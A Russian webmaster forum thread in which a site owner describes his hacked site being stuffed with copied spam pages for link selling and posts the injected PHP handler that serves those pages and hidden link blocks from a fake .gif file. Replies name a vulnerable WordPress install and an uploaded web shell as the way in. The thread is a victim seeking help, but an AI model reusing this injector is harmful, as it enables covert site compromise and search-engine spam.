Необычный взлом сайта - кто сталкивался?

yasiknetru
На сайте с 17.03.2009
Offline
107
1285

Собственно, есть сайт с парметрами: тиц 20, ru домен, возраст полгода, движок kandidat cms, страниц в индексе штук 20. В биржах не учавствовал.

Как раз хотел заняться и набить его постами, да все руки не доходили.

И тут бац - после одного из последних апов на сайте +3К страниц в индексе, полез смотреть, а это страницы вида ?post33=365

Страницы вполне нормальные по 2000 знаков, копипаст, шаблон страниц - мой, но уже добавлен блок под продажу ссылок.

Я такого вообще никогда не видел.

Взломщик по ходу находит сайты с тицем не в биржах, ломает, набивает постами, добавляет в биржу ссылок.

Файл с контентом залит в /admin/images/cnt_1.gif

В файл /engine/functions.php добавлен инклуд на /admin/thumbs.php , который и есть обработчик.

В скрытом блоке поставил 12 ссылок на 12 карт сайта вида /?map33=10

С каждой карты сайта идет по 140 ссылок вида /?post33=140

Вобщем как раз под сапу :)

В итоге я получил наполненный контентом сайт. Жесть.

Сейчас с хостером ищем как сломали.

Кто сталкивался с таким? Как ломали сайт?

Вот кстати код:

<?php

$content = ' тут шаблон мой начинается:
тут контент:
<!-- CONTENT -->
тут блок ссылок выводится:
<!-- lnkcnt -->
тут закрылось боди

';

if (!function_exists('cp1251_to_utf8_recursive')) {
function cp1251_to_utf8_recursive(/*mixed*/ $data)
{
if (is_array($data))
{
$d = array();
foreach ($data as $k => &$v)
{
$d[cp1251_to_utf8_recursive($k)] = cp1251_to_utf8_recursive($v);
}
return $d;
}
if (is_string($data)) return iconv('cp1251', 'utf-8//IGNORE//TRANSLIT', $data);
if (is_scalar($data) or is_null($data)) return $data;
trigger_error('An array, scalar or null type expected, ' . gettype($data) . ' given!', E_USER_WARNING);
return $data;
}}

$hddvs = '';
$hddvs_pages = 1800; // 600+600+600
$hddvs_infile = 600;
$hddvs_id_name='map33';
$hddvs_case_name='post33';

if ( !strstr($_SERVER['HTTP_USER_AGENT'], 'Googlebot') ) {
// Get emul
$tmp_GET = array();
$emul_GET = array();
$tmp_GET = explode ( '&', str_ireplace('/?','',$_SERVER['REQUEST_URI']) );
foreach ($tmp_GET as $key => $value) { $tmp_GET[$key]=explode('=',$value); }
foreach ($tmp_GET as $key => $value) {
if (is_array($value)) {
if ($value[0]==$hddvs_id_name) $emul_GET[$hddvs_id_name]=$value[1];
if ($value[0]==$hddvs_case_name) $emul_GET[$hddvs_case_name]=$value[1];
}
}
//
if( !isset($emul_GET[$hddvs_id_name]) and !isset($emul_GET[$hddvs_case_name]) ) {
if ( ($_SERVER['REQUEST_URI']=='/')
or($_SERVER['REQUEST_URI']=='/index.php')
or($_SERVER['REQUEST_URI']=='')
or($_SERVER['REQUEST_URI']=='news-16.html')
or($_SERVER['REQUEST_URI']=='/news-16.html')
or($_SERVER['REQUEST_URI']=='news-17.html')
or($_SERVER['REQUEST_URI']=='/news-17.html')
) {
$hddvs.= '<style>.lnkblk{display: none;}</style><div class="lnkblk">';
for ($i = 1; $i <= ($hddvs_pages/140); $i++) {
$hddvs.= '<a href="/?'.$hddvs_id_name.'='.$i.'">/?'.$hddvs_id_name.'='.$i.'</a>';
}
$hddvs.= '</div>';
}
//$hddvs.= _GetLnkList();
} else {
if( !isset($emul_GET[$hddvs_case_name]) ) {$hddvs_case=$emul_GET[$hddvs_id_name];} else $hddvs_case=$emul_GET[$hddvs_case_name];
$hddvs_numfile = ceil($hddvs_case/$hddvs_infile);
if ($hddvs_numfile==0) $hddvs_numfile=1;
if ($hddvs_numfile > ceil($hddvs_pages/$hddvs_infile)) $hddvs_numfile=1;
$hddvs_case = $hddvs_case-($hddvs_numfile-1)*$hddvs_infile;
//
$hddvs_lines = file($_SERVER['DOCUMENT_ROOT' ].'/admin/images/cnt_'.$hddvs_numfile.'.gif');
//$hddvs_lines = file_get_contents($_SERVER['DOCUMENT_ROOT' ].'/admin/images/cnt_'.$hddvs_numfile.'.gif');
//$hddvs_lines = explode("\n", $hddvs_lines);
$hddvs.= preg_replace("/\S+\.ru/is", ' ', $hddvs_lines[$hddvs_case]);
//$hddvs.= cp1251_to_utf8_recursive(preg_replace("/\S+\.ru/is", ' ', strip_tags($hddvs_lines[$hddvs_case])));
$hddvs.= '<style>.lnkblk{display: none;}</style><div class="lnkblk">';
if( !isset($emul_GET[$hddvs_id_name]) ) {$hddvs_id=ceil(1+$emul_GET[$hddvs_case_name]/140);} else $hddvs_id=$emul_GET[$hddvs_id_name];
for ($i = 1; $i <= 140; $i++) {
$hddvs.= '<a href="/?'.$hddvs_case_name.'='.($i+(($hddvs_id-1)*140)).'">/?'.$hddvs_case_name.'='.($i+(($hddvs_id-1)*140)).'</a> ';
}
$hddvs.= '</div>';
$content = str_replace('<!-- CONTENT -->', $hddvs.'<!-- CONTENT -->', $content);
$hddvs = '';
$content = str_replace('<!-- lnkcnt -->', $hddvs.'<!-- lnkcnt -->', $content);
echo $content;
die ();
}
}

?>
Быстро - это медленно, но без остановок.
F
На сайте с 16.01.2010
Offline
267
#1

В чём необычность?

angr
На сайте с 11.05.2006
Offline
413
#2
futuristian:
В чём необычность?

ТС впервые столкнулся ;)

это же как первый секс :)

Требуется СЕО-Специалист в Кишиневе, в офис. ()
[Удален]
#3

Хостинг? Сервер? Есть другие хостинг аккаунты? Взломан только 1 сайт или все на аккаунте? Что логи сервера говорят то? Ну Вы, ТС, прям как маленький) Это надо было в первом посте написать.)

angr
На сайте с 11.05.2006
Offline
413
#4

n1g3r, зачем? здесь же все, всё знают, не так ли? ;)

[Удален]
#5

angr

Спорный вопрос) Лично я - нуп еще тот)

yasiknetru
На сайте с 17.03.2009
Offline
107
#6

Необычность в том, что взломщик НАПОЛНИЛ мой сайт контентом.

Взломали через дырявый ворпресс - на этом же акке лежал такой сайт, залили шелл, через него. Щас буду ковырять сайты эти - обновлять движки и т.п.

yasiknetru добавил 30.08.2011 в 09:04

n1g3r:
Хостинг? Сервер? Есть другие хостинг аккаунты? Взломан только 1 сайт или все на аккаунте? Что логи сервера говорят то? Ну Вы, ТС, прям как маленький) Это надо было в первом посте написать.)

Хостинг - виртуальный хостинг VIP от ispserver.com. Но ломали дырявый ворпресс. :( Взломано 5 сайтов из трехсот.

F
На сайте с 16.01.2010
Offline
267
#7
yasiknetru:
Необычность в том, что взломщик НАПОЛНИЛ мой сайт контентом.

Увы, но это не необычность, это банальная жадность - выжать из взлома максимум.

Коллегам из одной газеты имеющим сайтег, залили детского порно (ссылками с него продвигали свои сайты) и ссылочку на "раздел" в футере замаскировали. Дак каково было их удивление, когда к ним в редакцию ворвался омон и положил всех (от уборщицы до главреда) лицом в кафель. Благо всё быстро прояснилось.

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий